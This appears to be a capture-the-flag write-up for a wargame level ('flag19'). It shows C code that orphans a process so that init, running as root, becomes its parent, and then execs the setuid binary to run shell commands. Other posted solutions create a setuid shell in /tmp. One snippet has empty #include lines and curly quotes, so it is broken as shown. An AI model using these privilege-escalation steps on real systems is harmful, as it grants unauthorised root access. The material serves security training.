Level 19 is another access/file trickery. The code only does interesting stuff if its parent is perceived to be a root processes. Luckily, init is run as root thus, if we start flag19 as a child and then kill the parent (don’t wait on the child); init becomes the parent (orphan processes policy).
#include <unistd.h> /* Symbolic Constants */
#include <sys/types.h> /* Primitive System Data Types */
#include <errno.h> /* Errors */
#include <stdio.h> /* Input/Output */
#include <sys/wait.h> /* Wait for Process Termination */
#include <stdlib.h> /* General Utilities */
int main() {
pid_t childpid; /* variable to store the child's pid */
int retval; /* child process: user-provided return code */
int status; /* parent process: child's exit status */
childpid = fork();
if (childpid >= 0) { // success
if (childpid == 0) { // child
char cmd[] = "/home/flag19/flag19";
//char *args1[] = { cmd, "-c", "touch /home/flag19/team_awesome", NULL };
char *args1[] = { "/bin/sh", "-c", "touch /home/flag19/team_awesome", NULL };
char *args2[] = { NULL };
//sleep(30);
sleep(3);
execve(cmd, args1, args2);
} else { // parent
//waitpid(childpid, &status, 0);
sleep(1);
exit(1);
}
}
}
Here’s a slightly more concise way of accomplishing the level.
./a.out -p -c ‘gcc myshell.c -o /tmp/shell19′
./a.out -p -c ‘chmod +s /tmp/shell19′
#include
#include
#include
int main(int argc, char **argv, char **envp)
{
if (fork()) return 0;
if (execve(“/home/flag19/flag19″,argv,envp)) return 0;
sleep(30);
return 0;
}
There’s more concise, here is my solution for this level :
$ sh -c “./flag19 -c /bin/getflag &”